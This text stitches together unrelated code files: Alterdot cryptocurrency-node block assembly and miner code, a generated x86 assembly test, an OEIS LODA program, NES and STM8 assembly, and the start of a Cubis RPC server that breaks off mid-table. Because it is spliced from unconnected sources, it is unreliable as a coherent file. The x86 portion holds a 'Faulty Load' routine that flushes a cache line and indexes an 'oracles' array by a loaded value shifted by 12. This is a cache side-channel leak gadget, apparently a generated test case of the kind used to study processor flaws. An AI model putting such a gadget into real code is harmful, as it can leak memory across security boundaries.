nBlockSigOps += iter->GetSigOpCount();
nFees += iter->GetFee();
inBlock.insert(iter);
bool fPrintPriority = GetBoolArg("-printpriority", DEFAULT_PRINTPRIORITY);
if (fPrintPriority) {
LogPrintf("fee %s txid %s\n",
CFeeRate(iter->GetModifiedFee(), iter->GetTxSize()).ToString(),
iter->GetTx().GetHash().ToString());
}
}
int BlockAssembler::UpdatePackagesForAdded(const CTxMemPool::setEntries& alreadyAdded,
indexed_modified_transaction_set &mapModifiedTx)
{
int nDescendantsUpdated = 0;
BOOST_FOREACH(const CTxMemPool::txiter it, alreadyAdded) {
CTxMemPool::setEntries descendants;
mempool.CalculateDescendants(it, descendants);
// Insert all descendants (not yet in block) into the modified set
BOOST_FOREACH(CTxMemPool::txiter desc, descendants) {
if (alreadyAdded.count(desc))
continue;
++nDescendantsUpdated;
modtxiter mit = mapModifiedTx.find(desc);
if (mit == mapModifiedTx.end()) {
CTxMemPoolModifiedEntry modEntry(desc);
modEntry.nSizeWithAncestors -= it->GetTxSize();
modEntry.nModFeesWithAncestors -= it->GetModifiedFee();
modEntry.nSigOpCountWithAncestors -= it->GetSigOpCount();
mapModifiedTx.insert(modEntry);
} else {
mapModifiedTx.modify(mit, update_for_parent_inclusion(it));
}
}
}
return nDescendantsUpdated;
}
// Skip entries in mapTx that are already in a block or are present
// in mapModifiedTx (which implies that the mapTx ancestor state is
// stale due to ancestor inclusion in the block)
// Also skip transactions that we've already failed to add. This can happen if
// we consider a transaction in mapModifiedTx and it fails: we can then
// potentially consider it again while walking mapTx. It's currently
// guaranteed to fail again, but as a belt-and-suspenders check we put it in
// failedTx and avoid re-evaluation, since the re-evaluation would be using
// cached size/sigops/fee values that are not actually correct.
bool BlockAssembler::SkipMapTxEntry(CTxMemPool::txiter it, indexed_modified_transaction_set &mapModifiedTx, CTxMemPool::setEntries &failedTx)
{
assert (it != mempool.mapTx.end());
if (mapModifiedTx.count(it) || inBlock.count(it) || failedTx.count(it))
return true;
return false;
}
void BlockAssembler::SortForBlock(const CTxMemPool::setEntries& package, CTxMemPool::txiter entry, std::vector<CTxMemPool::txiter>& sortedEntries)
{
// Sort package by ancestor count
// If a transaction A depends on transaction B, then A's ancestor count
// must be greater than B's. So this is sufficient to validly order the
// transactions for block inclusion.
sortedEntries.clear();
sortedEntries.insert(sortedEntries.begin(), package.begin(), package.end());
std::sort(sortedEntries.begin(), sortedEntries.end(), CompareTxIterByAncestorCount());
}
// This transaction selection algorithm orders the mempool based
// on feerate of a transaction including all unconfirmed ancestors.
// Since we don't remove transactions from the mempool as we select them
// for block inclusion, we need an alternate method of updating the feerate
// of a transaction with its not-yet-selected ancestors as we go.
// This is accomplished by walking the in-mempool descendants of selected
// transactions and storing a temporary modified state in mapModifiedTxs.
// Each time through the loop, we compare the best transaction in
// mapModifiedTxs with the next transaction in the mempool to decide what
// transaction package to work on next.
void BlockAssembler::addPackageTxs(int &nPackagesSelected, int &nDescendantsUpdated)
{
// mapModifiedTx will store sorted packages after they are modified
// because some of their txs are already in the block
indexed_modified_transaction_set mapModifiedTx;
// Keep track of entries that failed inclusion, to avoid duplicate work
CTxMemPool::setEntries failedTx;
// Start by adding all descendants of previously added txs to mapModifiedTx
// and modifying them for their already included ancestors
UpdatePackagesForAdded(inBlock, mapModifiedTx);
CTxMemPool::indexed_transaction_set::index<ancestor_score>::type::iterator mi = mempool.mapTx.get<ancestor_score>().begin();
CTxMemPool::txiter iter;
// Limit the number of attempts to add transactions to the block when it is
// close to full; this is just a simple heuristic to finish quickly if the
// mempool has a lot of entries.
const int64_t MAX_CONSECUTIVE_FAILURES = 1000;
int64_t nConsecutiveFailed = 0;
while (mi != mempool.mapTx.get<ancestor_score>().end() || !mapModifiedTx.empty())
{
// First try to find a new transaction in mapTx to evaluate.
if (mi != mempool.mapTx.get<ancestor_score>().end() &&
SkipMapTxEntry(mempool.mapTx.project<0>(mi), mapModifiedTx, failedTx)) {
++mi;
continue;
}
// Now that mi is not stale, determine which transaction to evaluate:
// the next entry from mapTx, or the best from mapModifiedTx?
bool fUsingModified = false;
modtxscoreiter modit = mapModifiedTx.get<ancestor_score>().begin();
if (mi == mempool.mapTx.get<ancestor_score>().end()) {
// We're out of entries in mapTx; use the entry from mapModifiedTx
iter = modit->iter;
fUsingModified = true;
} else {
// Try to compare the mapTx entry to the mapModifiedTx entry
iter = mempool.mapTx.project<0>(mi);
if (modit != mapModifiedTx.get<ancestor_score>().end() &&
CompareModifiedEntry()(*modit, CTxMemPoolModifiedEntry(iter))) {
// The best entry in mapModifiedTx has higher score
// than the one from mapTx.
// Switch which transaction (package) to consider
iter = modit->iter;
fUsingModified = true;
} else {
// Either no entry in mapModifiedTx, or it's worse than mapTx.
// Increment mi for the next loop iteration.
++mi;
}
}
// We skip mapTx entries that are inBlock, and mapModifiedTx shouldn't
// contain anything that is inBlock.
assert(!inBlock.count(iter));
uint64_t packageSize = iter->GetSizeWithAncestors();
CAmount packageFees = iter->GetModFeesWithAncestors();
unsigned int packageSigOps = iter->GetSigOpCountWithAncestors();
if (fUsingModified) {
packageSize = modit->nSizeWithAncestors;
packageFees = modit->nModFeesWithAncestors;
packageSigOps = modit->nSigOpCountWithAncestors;
}
if (packageFees < blockMinFeeRate.GetFee(packageSize)) {
// Everything else we might consider has a lower fee rate
return;
}
if (!TestPackage(packageSize, packageSigOps)) {
if (fUsingModified) {
// Since we always look at the best entry in mapModifiedTx,
// we must erase failed entries so that we can consider the
// next best entry on the next loop iteration
mapModifiedTx.get<ancestor_score>().erase(modit);
failedTx.insert(iter);
}
++nConsecutiveFailed;
if (nConsecutiveFailed > MAX_CONSECUTIVE_FAILURES && nBlockSize > nBlockMaxSize - 1000) {
// Give up if we're close to full and haven't succeeded in a while
break;
}
continue;
}
CTxMemPool::setEntries ancestors;
uint64_t nNoLimit = std::numeric_limits<uint64_t>::max();
std::string dummy;
mempool.CalculateMemPoolAncestors(*iter, ancestors, nNoLimit, nNoLimit, nNoLimit, nNoLimit, dummy, false);
onlyUnconfirmed(ancestors);
ancestors.insert(iter);
// Test if all tx's are Final and safe
if (!TestPackageTransactions(ancestors)) {
if (fUsingModified) {
mapModifiedTx.get<ancestor_score>().erase(modit);
failedTx.insert(iter);
}
continue;
}
// This transaction will make it in; reset the failed counter.
nConsecutiveFailed = 0;
// Package can be added. Sort the entries in a valid order.
std::vector<CTxMemPool::txiter> sortedEntries;
SortForBlock(ancestors, iter, sortedEntries);
for (size_t i=0; i<sortedEntries.size(); ++i) {
AddToBlock(sortedEntries[i]);
// Erase from the modified set, if present
mapModifiedTx.erase(sortedEntries[i]);
}
++nPackagesSelected;
// Update transactions that depend on each of these
nDescendantsUpdated += UpdatePackagesForAdded(ancestors, mapModifiedTx);
}
}
void IncrementExtraNonce(CBlock* pblock, const CBlockIndex* pindexPrev, unsigned int& nExtraNonce)
{
// Update nExtraNonce
static uint256 hashPrevBlock;
if (hashPrevBlock != pblock->hashPrevBlock)
{
nExtraNonce = 0;
hashPrevBlock = pblock->hashPrevBlock;
}
++nExtraNonce;
unsigned int nHeight = pindexPrev->nHeight+1; // Height first in coinbase required for block.version=2
CMutableTransaction txCoinbase(*pblock->vtx[0]);
txCoinbase.vin[0].scriptSig = (CScript() << nHeight << CScriptNum(nExtraNonce)) + COINBASE_FLAGS;
assert(txCoinbase.vin[0].scriptSig.size() <= 100);
pblock->vtx[0] = MakeTransactionRef(std::move(txCoinbase));
pblock->hashMerkleRoot = BlockMerkleRoot(*pblock);
}
//////////////////////////////////////////////////////////////////////////////
//
// Internal miner
//
//
double dHashesPerSec = 0.0;
// ScanHash scans nonces looking for a hash with at least some zero bits.
// The nonce is usually preserved between calls, but periodically or if the
// nonce is 0xffff0000 or above, the block is rebuilt and nNonce starts over at
// zero.
//
//bool static ScanHash(const CBlockHeader *pblock, uint32_t& nNonce, uint256 *phash)
//{
// Write the first 76 bytes of the block header to a double-SHA256 state.
// CHash256 hasher;
// CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);
// ss << *pblock;
// assert(ss.size() == 80);
// hasher.Write((unsigned char*)&ss[0], 76);
// while (true) {
// nNonce++;
// Write the last 4 bytes of the block header (the nonce) to a copy of
// the double-SHA256 state, and compute the result.
// CHash256(hasher).Write((unsigned char*)&nNonce, 4).Finalize((unsigned char*)phash);
// Return the nonce if the hash has at least some zero bits,
// caller will check if it has enough to reach the target
// if (((uint16_t*)phash)[15] == 0)
// return true;
// If nothing found after trying for a while, return -1
// if ((nNonce & 0xfff) == 0)
// return false;
// }/
//}
static bool ProcessBlockFound(CBlock* pblock, const CChainParams& chainparams)
{
LogPrintf("%s\n", pblock->ToString());
LogPrintf("generated %s\n", FormatMoney(pblock->vtx[0]->vout[0].nValue));
// Found a solution
{
LOCK(cs_main);
if (pblock->hashPrevBlock != chainActive.Tip()->GetBlockHash())
return error("ProcessBlockFound -- generated block is stale");
}
// Inform about the new block
GetMainSignals().BlockFound(pblock->GetHash());
std::shared_ptr<const CBlock> shared_pblock = std::make_shared<const CBlock>(*pblock);
// Process this block the same as if we had received it from another node
if (!ProcessNewBlock(chainparams, shared_pblock, true, NULL))
return error("ProcessBlockFound -- ProcessNewBlock() failed, block not accepted");
return true;
}
// ***TODO*** that part changed in bitcoin, we are using a mix with old one here for now
void static AlterdotMiner(const CChainParams& chainparams)
{
LogPrintf("AlterdotMiner -- started\n");
SetThreadPriority(THREAD_PRIORITY_LOWEST);
RenameThread("alterdot-miner");
int nThreadHashrate = 0;
int64_t nThreadStartTime = GetTime(), nLastHashrateTime = GetTimeMillis();
unsigned int nExtraNonce = 0;
boost::shared_ptr<CReserveScript> coinbaseScript;
GetMainSignals().ScriptForMining(coinbaseScript);
try {
// Throw an error if no script was provided. This can happen
// due to some internal error but also if the keypool is empty.
// In the latter case, already the pointer is NULL.
if (!coinbaseScript || coinbaseScript->reserveScript.empty())
throw std::runtime_error("No coinbase script available (mining requires a wallet)");
while (true) {
if (chainparams.MiningRequiresPeers()) {
// Busy-wait for the network to come online so we don't waste time mining
// on an obsolete chain. In regtest mode we expect to fly solo.
do {
if (!(g_connman->GetNodeCount(CConnman::CONNECTIONS_ALL) == 0) && !IsInitialBlockDownload())
break;
MilliSleep(1000);
} while (true);
}
//
// Create new block
//
unsigned int nTransactionsUpdatedLast = mempool.GetTransactionsUpdated();
CBlockIndex* pindexPrev = chainActive.Tip();
std::unique_ptr<CBlockTemplate> pblocktemplate;
if(!pindexPrev) break;
pblocktemplate = std::unique_ptr<CBlockTemplate> (BlockAssembler(chainparams).CreateNewBlock(coinbaseScript->reserveScript));
if (!pblocktemplate.get())
{
LogPrintf("AlterdotMiner -- Keypool ran out, please call keypoolrefill before restarting the mining thread\n");
return;
}
CBlock *pblock = &pblocktemplate->block;
IncrementExtraNonce(pblock, pindexPrev, nExtraNonce);
LogPrintf("AlterdotMiner -- Running miner with %u transactions in block (%u bytes)\n", pblock->vtx.size(),
::GetSerializeSize(*pblock, SER_NETWORK, PROTOCOL_VERSION));
//
// Search
//
int nOldThreadHashrate = 0;
int64_t nStart = GetTime(), nUpdateCycleStart = GetTimeMillis();
arith_uint256 hashTarget = arith_uint256().SetCompact(pblock->nBits);
uint256 hash;
while (true)
{
unsigned int nHashesDone = 0;
uint256 hash;
while (true)
{
hash = pblock->GetHash();
if (UintToArith256(hash) <= hashTarget)
{
// Found a solution
//pblock->nNonce = nNonce;
//assert(hash == pblock->GetHash());
SetThreadPriority(THREAD_PRIORITY_NORMAL);
LogPrintf("AlterdotMiner:\n proof-of-work found \n hash: %s \ntarget: %s\n", hash.GetHex(), hashTarget.GetHex());
ProcessBlockFound(pblock, chainparams);
SetThreadPriority(THREAD_PRIORITY_LOWEST);
coinbaseScript->KeepScript();
// In regression test mode, stop mining after a block is found.
if (chainparams.MineBlocksOnDemand())
throw boost::thread_interrupted();
break;
}
pblock->nNonce += 1;
nHashesDone += 1;
if ((pblock->nNonce & 0xFF) == 0)
break;
}
nOldThreadHashrate = nThreadHashrate;
nThreadHashrate = nHashesDone * 1000 / (GetTimeMillis() - nLastHashrateTime);
nLastHashrateTime = GetTimeMillis();
// Periodic Logging of Hashrate
static int64_t nLogTime = 0;
if (GetTime() - nThreadStartTime < 12) { // wait for previous threads to terminate and then start recording hashrates
nOldThreadHashrate = 0;
nThreadHashrate = 0;
}
{
static CCriticalSection cs;
LOCK(cs);
dHashesPerSec -= nOldThreadHashrate;
dHashesPerSec += nThreadHashrate;
}
if (GetTime() - nLogTime > 30 * 60)
{
static CCriticalSection cs;
{
LOCK(cs);
if (GetTime() - nLogTime > 30 * 60)
{
nLogTime = GetTime();
LogPrintf("AlterdotMiner: hashmeter %6.0f hash/s\n", dHashesPerSec);
}
}
}
// Check for stop or if block needs to be rebuilt
boost::this_thread::interruption_point();
// Regtest mode doesn't require peers
if ((g_connman->GetNodeCount(CConnman::CONNECTIONS_ALL) == 0) && chainparams.MiningRequiresPeers())
break;
if (pblock->nNonce >= 0xffff0000)
break;
if (mempool.GetTransactionsUpdated() != nTransactionsUpdatedLast && GetTime() - nStart > 60)
break;
if (pindexPrev != chainActive.Tip())
break;
if (GetTimeMillis() - nUpdateCycleStart > 6000) {
nUpdateCycleStart = GetTimeMillis();
// Update nTime every few seconds
if (UpdateTime(pblock, chainparams.GetConsensus(), pindexPrev) < 0)
break; // Recreate the block if the clock has run backwards,
// so that we can use the correct time.
// Update nBits and hashTarget in accordance with the latest DELTA difficulty retarget.
pblock->nBits = GetNextWorkRequired(pindexPrev, pblock, chainparams.GetConsensus());
hashTarget.SetCompact(pblock->nBits);
}
}
}
}
catch (const boost::thread_interrupted&)
{
dHashesPerSec = 0;
LogPrintf("AlterdotMiner -- terminated\n");
throw;
}
catch (const std::runtime_error &e)
{
LogPrintf("AlterdotMiner -- runtime error: %s\n", e.what());
return;
}
}
void GenerateAlterdot(bool fGenerate, int nThreads, const CChainParams& chainparams)
{
static boost::thread_group* minerThreads = NULL;
if (nThreads < 0)
nThreads = GetNumCores(); // Uses std::thread::hardwareconcurrency to detect available cores
// Return the number of cores available on the current system.
// @note This does count virtual cores, such as those provided by HyperThreading.
if (minerThreads != NULL)
{
minerThreads->interrupt_all();
delete minerThreads;
minerThreads = NULL;
}
if (nThreads == 0 || !fGenerate)
return;
minerThreads = new boost::thread_group();
for (int i = 0; i < nThreads; i++)
minerThreads->create_thread(boost::bind(&AlterdotMiner, boost::cref(chainparams)));
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xf4d8, %rdi
clflush (%rdi)
nop
nop
nop
and $44955, %r11
movw $0x6162, (%rdi)
nop
nop
nop
nop
cmp $9041, %rsi
lea addresses_WC_ht+0x9498, %rsi
lea addresses_WT_ht+0x15698, %rdi
nop
add %rbx, %rbx
mov $13, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $17520, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %rbp
push %rbx
push %rcx
push %rsi
// Faulty Load
lea addresses_WC+0x6698, %rbp
nop
nop
nop
nop
nop
dec %rbx
mov (%rbp), %r15w
lea oracles, %rsi
and $0xff, %r15
shlq $12, %r15
mov (%rsi,%r15,1), %r15
pop %rsi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WC_ht', 'same': True, 'size': 2, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
; A186444: The count of numbers <= n for which 3 is an infinitary divisor.
; 0,0,1,1,1,2,2,2,2,2,2,3,3,3,4,4,4,4,4,4,5,5,5,6,6,6,7,7,7,8,8,8,9,9,9,9,9,9,10,10,10,11,11,11,11,11,11,12,12,12,13,13,13,14,14,14,15,15,15,16,16,16,16,16,16,17,17,17,18,18,18,18,18,18,19,19,19,20,20,20,20,20,20,21,21,21,22,22,22,22,22,22,23,23,23,24,24,24,24,24
add $0,1
mov $2,$0
lpb $0
lpb $2,4
cmp $3,0
mov $6,$0
mov $0,$2
sub $0,$6
div $2,3
lpe
lpe
|
#echo
#echo ====== DATA-BANK =====
* = $8000
bank_data_begin:
#include "game/data/data.asm"
bank_data_stage_selection_extra_data_begin:
#include "game/data/menu_stage_select/anims.asm"
#include "game/data/menu_stage_select/screen.asm"
bank_data_stage_selection_extra_data_end:
bank_data_stage_selection_extra_code_begin:
#include "game/logic/game_states/stage_selection_screen/stage_selection_extra_code.asm"
bank_data_stage_selection_extra_code_end:
bank_data_online_mode_extra_data_begin:
#include "game/data/menu_online_mode/anims.asm"
#include "game/data/menu_online_mode/screen.asm"
#include "game/data/menu_online_mode/tileset.asm"
bank_data_online_mode_extra_data_end:
bank_data_online_mode_extra_code_begin:
#include "game/logic/game_states/online_mode_screen/online_mode_screen_extra_code.asm"
bank_data_online_mode_extra_code_end:
bank_data_end:
#echo
#echo DATA-bank used size:
#print bank_data_end-bank_data_begin
#echo
#echo DATA-bank data size:
#print data_end-data_begin
#echo
#echo DATA-bank nametables size:
#print data_nt_end-data_nt_begin
#echo
#echo DATA-bank stage select extra data size:
#print bank_data_stage_selection_extra_data_end-bank_data_stage_selection_extra_data_begin
#echo
#echo DATA-bank stage select extra code size:
#print bank_data_stage_selection_extra_code_end-bank_data_stage_selection_extra_code_begin
#echo
#echo DATA-bank online mode extra data size:
#print bank_data_online_mode_extra_data_end-bank_data_online_mode_extra_data_begin
#echo
#echo DATA-bank online mode extra code size:
#print bank_data_online_mode_extra_code_end-bank_data_online_mode_extra_code_begin
#echo
#echo DATA-bank free space:
#print $c000-*
#if $c000-* < 0
#echo *** Error: Data bank occupies too much space
#else
.dsb $c000-*, CURRENT_BANK_NUMBER
#endif
|
stm8/
.tab 0,8,16,60
;=============================================
; Contain all the varible definitions
;=============================================
#include "constants.inc"
#include "mapping.inc"
ram0_start.b EQU $ram0_segment_start
ram0_end.b EQU $ram0_segment_end
ram1_start.w EQU $ram1_segment_start
ram1_end.w EQU $ram1_segment_end
segment 'rom'
;=============================
; Helper routine to clear ram
;=============================
.clear_memory.w
ldw X,#ram0_start
clear_ram0.l
clr (X)
incw X
cpw X,#ram0_end
jrule clear_ram0
; clear RAM1
ldw X,#ram1_start
clear_ram1.l
clr (X)
incw X
cpw X,#ram1_end
jrule clear_ram1
ret
;==================================
;
; Variables in zero page start here
;
;==================================
segment 'ram0'
;Keep the line buffers in page zero
;Means we don't have to deal with
;crossing a page in the rendering code.
.linebuffer1.w ds.b {ScrWidth+2}
.linebuffer2.w ds.b {ScrWidth+2}
;==================================
;
; Variables in rest of ram start here
;
;==================================
segment 'ram1'
.syncdma.w ds.w 1
.linenumber.w ds.b 1
.enableSPI.w ds.b 1 ;Used to turn on SPI
.tim3cntr.w ds.w 1
.screen.w ds.b {ScrWidth mult ScrHeight}
.udg.w ds.b $0100
end
|
// Copyright (c) 2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Bitcoin developers
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2017 The PIVX developers
// Copyright (c) 2017 The Cubis developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "rpcserver.h"
#include "base58.h"
#include "init.h"
#include "main.h"
#include "ui_interface.h"
#include "util.h"
#ifdef ENABLE_WALLET
#include "wallet.h"
#endif
#include "json/json_spirit_writer_template.h"
#include <boost/algorithm/string.hpp>
#include <boost/asio.hpp>
#include <boost/asio/ssl.hpp>
#include <boost/bind.hpp>
#include <boost/filesystem.hpp>
#include <boost/foreach.hpp>
#include <boost/iostreams/concepts.hpp>
#include <boost/iostreams/stream.hpp>
#include <boost/shared_ptr.hpp>
#include <boost/thread.hpp>
using namespace boost;
using namespace boost::asio;
using namespace json_spirit;
using namespace std;
static std::string strRPCUserColonPass;
static bool fRPCRunning = false;
static bool fRPCInWarmup = true;
static std::string rpcWarmupStatus("RPC server started");
static CCriticalSection cs_rpcWarmup;
//! These are created by StartRPCThreads, destroyed in StopRPCThreads
static asio::io_service* rpc_io_service = NULL;
static map<string, boost::shared_ptr<deadline_timer> > deadlineTimers;
static ssl::context* rpc_ssl_context = NULL;
static boost::thread_group* rpc_worker_group = NULL;
static boost::asio::io_service::work* rpc_dummy_work = NULL;
static std::vector<CSubNet> rpc_allow_subnets; //!< List of subnets to allow RPC connections from
static std::vector<boost::shared_ptr<ip::tcp::acceptor> > rpc_acceptors;
void RPCTypeCheck(const Array& params,
const list<Value_type>& typesExpected,
bool fAllowNull)
{
unsigned int i = 0;
BOOST_FOREACH (Value_type t, typesExpected) {
if (params.size() <= i)
break;
const Value& v = params[i];
if (!((v.type() == t) || (fAllowNull && (v.type() == null_type)))) {
string err = strprintf("Expected type %s, got %s",
Value_type_name[t], Value_type_name[v.type()]);
throw JSONRPCError(RPC_TYPE_ERROR, err);
}
i++;
}
}
void RPCTypeCheck(const Object& o,
const map<string, Value_type>& typesExpected,
bool fAllowNull)
{
BOOST_FOREACH (const PAIRTYPE(string, Value_type) & t, typesExpected) {
const Value& v = find_value(o, t.first);
if (!fAllowNull && v.type() == null_type)
throw JSONRPCError(RPC_TYPE_ERROR, strprintf("Missing %s", t.first));
if (!((v.type() == t.second) || (fAllowNull && (v.type() == null_type)))) {
string err = strprintf("Expected type %s for %s, got %s",
Value_type_name[t.second], t.first, Value_type_name[v.type()]);
throw JSONRPCError(RPC_TYPE_ERROR, err);
}
}
}
static inline int64_t roundint64(double d)
{
return (int64_t)(d > 0 ? d + 0.5 : d - 0.5);
}
CAmount AmountFromValue(const Value& value)
{
double dAmount = value.get_real();
if (dAmount <= 0.0 || dAmount > 21000000.0)
throw JSONRPCError(RPC_TYPE_ERROR, "Invalid amount");
CAmount nAmount = roundint64(dAmount * COIN);
if (!MoneyRange(nAmount))
throw JSONRPCError(RPC_TYPE_ERROR, "Invalid amount");
return nAmount;
}
Value ValueFromAmount(const CAmount& amount)
{
return (double)amount / (double)COIN;
}
uint256 ParseHashV(const Value& v, string strName)
{
string strHex;
if (v.type() == str_type)
strHex = v.get_str();
if (!IsHex(strHex)) // Note: IsHex("") is false
throw JSONRPCError(RPC_INVALID_PARAMETER, strName + " must be hexadecimal string (not '" + strHex + "')");
uint256 result;
result.SetHex(strHex);
return result;
}
uint256 ParseHashO(const Object& o, string strKey)
{
return ParseHashV(find_value(o, strKey), strKey);
}
vector<unsigned char> ParseHexV(const Value& v, string strName)
{
string strHex;
if (v.type() == str_type)
strHex = v.get_str();
if (!IsHex(strHex))
throw JSONRPCError(RPC_INVALID_PARAMETER, strName + " must be hexadecimal string (not '" + strHex + "')");
return ParseHex(strHex);
}
vector<unsigned char> ParseHexO(const Object& o, string strKey)
{
return ParseHexV(find_value(o, strKey), strKey);
}
/**
* Note: This interface may still be subject to change.
*/
string CRPCTable::help(string strCommand) const
{
string strRet;
string category;
set<rpcfn_type> setDone;
vector<pair<string, const CRPCCommand*> > vCommands;
for (map<string, const CRPCCommand*>::const_iterator mi = mapCommands.begin(); mi != mapCommands.end(); ++mi)
vCommands.push_back(make_pair(mi->second->category + mi->first, mi->second));
sort(vCommands.begin(), vCommands.end());
BOOST_FOREACH (const PAIRTYPE(string, const CRPCCommand*) & command, vCommands) {
const CRPCCommand* pcmd = command.second;
string strMethod = pcmd->name;
// We already filter duplicates, but these deprecated screw up the sort order
if (strMethod.find("label") != string::npos)
continue;
if ((strCommand != "" || pcmd->category == "hidden") && strMethod != strCommand)
continue;
#ifdef ENABLE_WALLET
if (pcmd->reqWallet && !pwalletMain)
continue;
#endif
try {
Array params;
rpcfn_type pfn = pcmd->actor;
if (setDone.insert(pfn).second)
(*pfn)(params, true);
} catch (std::exception& e) {
// Help text is returned in an exception
string strHelp = string(e.what());
if (strCommand == "") {
if (strHelp.find('\n') != string::npos)
strHelp = strHelp.substr(0, strHelp.find('\n'));
if (category != pcmd->category) {
if (!category.empty())
strRet += "\n";
category = pcmd->category;
string firstLetter = category.substr(0, 1);
boost::to_upper(firstLetter);
strRet += "== " + firstLetter + category.substr(1) + " ==\n";
}
}
strRet += strHelp + "\n";
}
}
if (strRet == "")
strRet = strprintf("help: unknown command: %s\n", strCommand);
strRet = strRet.substr(0, strRet.size() - 1);
return strRet;
}
Value help(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 1)
throw runtime_error(
"help ( \"command\" )\n"
"\nList all commands, or get help for a specified command.\n"
"\nArguments:\n"
"1. \"command\" (string, optional) The command to get help on\n"
"\nResult:\n"
"\"text\" (string) The help text\n");
string strCommand;
if (params.size() > 0)
strCommand = params[0].get_str();
return tableRPC.help(strCommand);
}
Value stop(const Array& params, bool fHelp)
{
// Accept the deprecated and ignored 'detach' boolean argument
if (fHelp || params.size() > 1)
throw runtime_error(
"stop\n"
"\nStop CUBIS server.");
// Shutdown will take long enough that the response should get back
StartShutdown();
return "CUBIS server stopping";
}
/**
* Call Table
*/
static const CRPCCommand vRPCCommands[] =
{
// category name actor (function) okSafeMode threadSafe reqWallet
// --------------------- ------------------------ ----------------------- ---------- ---------- ---------
/* Overall control/query calls */
